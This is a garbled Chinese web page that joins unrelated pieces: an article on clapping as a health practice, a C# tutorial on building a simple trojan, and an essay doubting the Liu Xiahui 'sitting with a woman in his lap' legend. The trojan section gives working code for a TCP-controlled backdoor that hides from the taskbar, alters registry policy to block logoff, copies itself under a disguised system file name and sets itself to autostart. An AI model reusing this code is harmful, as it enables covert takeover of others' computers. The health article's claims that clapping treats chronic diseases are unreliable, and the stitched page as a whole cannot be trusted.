一个简单小动作既能补气又养血

【菜科解读】
拍手这个动作除了能表达欢迎、喜悦外,其实还有另一个好处,那就是养生,拍手养生自古就有,尤其适合老年人。
中医理论认为,所有疾病都是气血失调造成的,长期坚持拍手,可预防多种慢性病。
下面就一起来了解一下吧。
一、为什么拍手能养生?
人身上有十二条经络,经络是气的管道,连接五脏六腑。
经络被堵塞了,气的运行就不通畅,人也就会生病。
而拍手可同时疏通六大经络,能起到养生健体,补气养血,活络经脉,疏通血脉的作用。
二、拍手对人体的好处和效果有哪些?
①拍手可以缓解感冒症状,由于感冒容易使人精神萎靡,身体感觉到疲惫,拍手可以震动身体,手部的反射区可以通过经络去促进血液循环的加速,可以缓解感冒的症状。
②当人体出现发困的症状时,拍手二十分钟,可以使得大脑得到放松,同时加快了身体血液循环,血液将氧离子运送到大脑供给大脑使用,困意全无。
③拍手其实是可以锻炼到手臂的一系列肌肉,从而刺激长时间维持一个姿势的肌肉,得以送松弛下紧绷的肌肉。
适当伸长手臂进行拍手也可以起到拉伸的作用,可以缓解一定的疲劳感。
④拍手可以辅助一些慢性病的治疗,例如冬季手脚冰冷、头晕头痛、身体虚弱、心悸冷汗、失眠多梦、神经衰弱、脾气暴躁、老花眼、散光、眼痛、干眼症、耳鸣、便秘等。
三、拍手养生法有几种?
5种拍法补补气。
人的手部穴位丰富,所以经常做拍手的动作对人体的养生保健是有很大好处的。
拍手的时候,动作要缓慢,要有节奏,力度适中,最好每次连拍三十下,十五分钟至二十分钟最为适宜。
1、拍手心
将两手十指伸直张开,手心相对,两手相合拍打手心100次,以微微发红发热为度。
拍完搓一搓手心,可加快局部血液循环及产热。
手心所在的穴区对应于消化系统,有脘腹胀满、腹痛腹泻、打嗝反酸等脾胃不和症状的人可以试试。
2、拍手背
将两手伸直张开,手背相对,两手相合拍打手背,或用一手手心拍打另一手手背,做100次,以手背微红热为度。
手背所在的穴区对应整个脊柱,包括颈、胸、腰、骶椎,有颈椎病、腰椎病等脊柱不好的患者,就不妨多拍拍手背。
3、拍掌根
将两手向上翘一翘,再手心相对,露出掌根,菜叶说说,或将两手十指相扣,掌根相对,两手掌根相合拍击100次,以掌根微痛、能够忍受为度。
掌根所在的穴区代表的是泌尿生殖系统,包括肾、输尿管、卵巢、子宫、前列腺等。
以上脏器有问题者,建议经常拍一拍掌根,健康人也可以起到预防作用。
4、十指互叩
两手十指相对,一手的五指分别与另一手的五指叩击100次,以指尖微痛微胀为度。
十指从指根到指尖分别对应着肩、肘、腕及髋、膝、踝,互叩对相应关节引起的关节炎、关节疼痛都有不错的缓解效果。
5、虎口对击
两手拇指、食指张开,虎口交叉轻轻接触,再相互对击100次。
左手虎口对应脾,右手虎口对应肝,两手虎口相击,两脏关联,对于肝郁脾虚、肝脾不和者有一定效果。
这类人一般有胁肋胀痛(恼怒抑郁时严重)、脘腹胀满、食少没胃口、排便不爽等表现,建议经常做一做。
四、拍手养生的注意事项有哪些?
①不宜在刚吃饱后练,因为这样会妨碍消化,饭后至少要半小时才能练。
但只要不是肚子吃饱的情况下,随时皆适合练拍手疗法;
②怀孕的人任何运动都不宜太激烈,练拍手疗法也亦然,不宜发出太大的声响,否则胎儿之神识会受到惊吓;
#p#分页标题#e#③老年人体弱两脚无力,练拍手疗法时,最好一面走一面拍,或一面拍一面踏步,若只是坐着拍手,两脚不动,气血灌注两手过多,双脚将更加无力;
④拍手前后喝些开水或新鲜果汁作为配合。
温馨提示:手上的穴位非常多,拍手法可以促进血液循环,通经活络,加强五脏六腑的功能。
拍打时不可过度用力,还要注意姿势,以舒适、顺手为宜,以免造成不必要的损伤。
用C#实现简单木马程序
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。
控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。
技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求使用了.NET类中的 System.Net.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e){//记录操作,在richTextBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +" ");int port =6678;try{//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);}catch{MessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");}}//private void buttion2、测试是否与被控制机连接上。
程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
//提供网络访问的数据流//private NetworkStream stream;代码如下:private void button8_Click(object sender, System.EventArgs e){//纪录操作 richTextBox1.AppendText("测试连接" +" ");try{stream = client.GetStream();if(stream.CanWrite){//发送控制码string control = "jiance";byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());stream.Write(by,0,by.Length);//下次使用stream.Flush();//启动接收反回数据的线程//receive是线程执行的函数,见后面的分析threadReceive = new Thread(new ThreadStart(receive));threadReceive.Start();}}catch(Exception ee){richTextBox1.AppendText (ee.Message+" ");MessageBox.Show(ee.Message);}}3、控制生效的代码private void button9_Click(object sender, System.EventArgs e){//这里是确定要发送的控制码,RadioButton是窗体控件if(radioButton1.Checked){ control = form2.zhucex;}else if(radioButton2.Checked){ control =form3.zhuces;}else if(radioButton3.Checked){ control = warring;}else if(radioButton4.Checked){ control =suggest;}else if(radioButton5.Checked){ control =form4.mumawe;}else if(radioButton6.Checked){ control =drop;}if (control =="000000"){ MessageBox.Show("你没有输入任何控制目标!不发控制信号");richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");}else if(control != "000000"){try{//记录操作richTextBox1.AppendText (control + "正在试图控制,等待回应......" + " ");stream = client.GetStream();if(stream.CanWrite ){byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());stream.Write(by,0,by.Length);stream.Flush();threadReceive =new Thread(new ThreadStart(receive));threadReceive.Start();}//endif}//trycatch{richTextBox1.AppendText("服务器未连接1控制无效!" +" ");MessageBox.Show("服务器未连接1控制无效!" +" ");}}//else if}4、线程执行的函数private void receive(){//设置读取数据的空间byte[] bb = new byte[3];//读取3个字节,i为实际读取的字节数int i = stream.Read(bb,0,3);//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);string ss = System.Text.Encoding.ASCII.GetString(bb);//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功if(ss=="hjc"){MessageBox.Show("连接成功");richTextBox1.AppendText("连接成功");}if(ss== "hkz"){richTextBox1.AppendText(control +"控制成功"+" ");MessageBox.Show(control +"控制成功"+" ");}}服务端的开发:要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为 Mininized即可,这样窗体就可以隐藏运行了。
当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:private void InitializeComponent(){//// Form1////窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;}2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数,此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下,完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能//修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义,见下面分析UnLogOff();//返回控制消息retMessage();break; case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default:break;}//case}//while} //private void reControlCode 3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。
下面就可以看到它的用法。
这里我做了一个修改注册表的子程序:使计算机不能注销。
在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销。
在下面的函数中用C#实现对注册表的修改:private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名,和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{ //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}}}4、在木马程序中还有一个重要的功能就是自我的复制和转移。
木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。
转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。
使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。
这里我们使用了System.IO.File类。
-- -www.bianceng.cnprivate void moveCC1(){try{//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用//sourceFileName为要移动的文件名,destFileName为文件的新路径File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");}catch {}//将新移的木马程序设为自启动.分析和前面一样try{key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}if(key1 ==null){try{RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}}} //moveCC1()到这里一个简单的C#的木马就完成了。
用,实现,简单,木马,程序,用,实现,木马,程序,
柳下惠坐怀不乱,是真实历史还是一个故事?
上个月的事总不如本月的清晰,童年时代的不如青年时代的记得牢靠。
正如一个渐行渐远的背影,在刚转身而去的时候,衣服、头发以至鞋子,都清清楚楚在你眼里,走得越远,背影越模糊,到了视界的尽头,只剩下一个黑点,最终全部消失,无影无踪。
中国历史上的许多人和事,则恰好相反,越古老的越清晰。
柳下惠的故事就是一个典型。
柳下惠(亦称柳下季),姓展,名获,字子禽。
春秋时人,稍早于。
词典解释“坐怀不乱”:柳下惠将受冻的女子裹于怀中,没有发生非礼行为。
形容男子在两性关系方面作风正派。
典出《·小雅·巷伯》毛亨传:“子何不若柳下惠然,妪不逮门之女,国人不称其乱。
” 究竟如何坐怀,如何不乱,史料的演变很有趣: 《荀子·大略》载:子夏贫,衣若县鹑。
人曰:“子何不仕?”曰:“诸侯之骄我者,吾不为臣;大夫之骄我者,吾不复见。
柳下惠与后门者同衣而不见疑,非一日之闻也。
” 唐杨倞注:“柳下惠,鲁贤人公子展之后,名获字禽,居于柳下,谥惠,季其伯仲也。
后门者,君子守后门至贱者。
子夏言昔柳下惠衣之弊,恶与后门者同,时人尚无疑怪者,言安于贫贱,浑迹而人不知也。
非一日之闻,言闻之久矣。
”杨之注根本不涉女色,荀文原意也和后世所谓的坐怀不乱无关。
成于西汉初年的《毛詩故訓傳·巷伯》云:昔者,顔叔子獨處于室,鄰之釐婦又獨處于室。
夜,暴風雨至而室壞,婦人趨而至,顔叔子納之而使執燭。
放乎旦而蒸盡,縮屋而繼之。
自以為辟嫌之不審矣。
若其審者,宜若魯人然。
魯人有男子獨處于室,鄰之釐婦又獨處于室。
夜,暴風雨至而室壊,婦人趨而託之。
男子閉户而不納。
婦人自牖與之言曰:“子何為不納我乎?”男子曰:“吾聞之也,男女不六十不間居。
今子幼,吾亦幼,不可以納子。
”婦人曰:“子何不若栁下恵然,嫗不逮門之女,國人不稱其亂。
”男子曰:“栁下恵固可,吾固不可。
吾将以吾不可,學栁下恵之可。
”孔子曰:“欲學栁下恵者,未有似於是也。
” 这里具有了坐怀不乱故事的雏形,可是,这个时候和柳下惠所处的年代已经相去数百年。
直到元时的胡炳文(1250—1333),在《纯正蒙求》卷上才有成型的故事:“鲁柳下惠,姓展名禽,远行夜宿都门外。
时大寒,忽有女子来托宿,下惠恐其冻死,乃坐之于怀,以衣覆之,至晓不为乱。
” 元末明初的陶宗仪《南村辍耕录·卷四·不乱附妄》则记述为:“柳下惠夜宿郭门,有女子来同宿,恐其冻死,坐之于怀,至晓不乱。
” 元明去春秋时期,已经有一千六七百年,柳下惠的坐怀不乱故事才完全成型,能不让人奇怪么?因此,这故事的真实性不能不令人怀疑。
首先,事情的本身有太多的疑点。
我们纵使不从柳老先生的生理角度来理解,换个角度想一想:假使真有其事,又是谁传出来的?只有两种可能。
一种是,那女子说的。
但是,可能吗?一个女子能够大大方方躺在一个陌生男人怀里过上一夜,然后还惟恐天下不乱地大事宣扬? 另一种可能是,柳下惠自己说的。
如果真的如此,这个柳老夫子也就够无耻的了。
这不是要坏别人的名节吗? 其次,假如柳下惠真有坐怀不乱的事,为什么在发生之初,世界上没见传播,直到才有人知道一点点,元明时人才完全了解事情的呢? 是元明时期出土了大量文物,才让胡炳文、陶宗仪得窥故事全豹么?明显不是。
纵使有文物出现,也展现不了坐怀不乱这样极富戏剧性的情节。
只有一个解释:胡炳文、陶宗仪等人在撒谎! 大家知道,宋明时期,是我国理学盛行的时期,号召“存天理,灭人欲”,推崇男女授受不亲,鼓吹“饿死事小,失节事大”。
为了给这种理论树立典型,找当时人不可能,谁不了解谁啊?于是,就只好乞灵于古代,而让这神经病一般的行为附丽到谁身上好?春秋时的柳下惠是合适人选。
一、年代久远,谁也无法考证。
二、他曾经为儒家的大成至圣先师极力推崇。
他担任过鲁国大夫,以礼治邦,以信修身。
又任鲁国士师,掌管刑狱,执法以平,治国以德。
孔子高度评价他“言中伦、行中虑”,则称赞他是“圣之和者”,把他与、、孔子相提并论,后世尊之为“和圣”。
圣人推崇的人物,就是发生了这样不合常情的事,大家容易接受。
据此推断,坐怀不乱只不过是一个流传了上千年的美丽的谎言,是为了某种观念服务而派生的神话! 随机文章世界不敢打开的古墓,秦始皇陵44年无人敢挖/中国上榜二个养蜘蛛会认主人吗,蜘蛛生性凶残是不会认主人的巨型管水母爆炸图片,巨型管水母长什么样/海底压力太小会爆炸鬼生活在几维空间,公认说法为四维空间的生物就是鬼/未证实科学发现与技术发明的区别,前者是认知世界/后者是有目的技术发明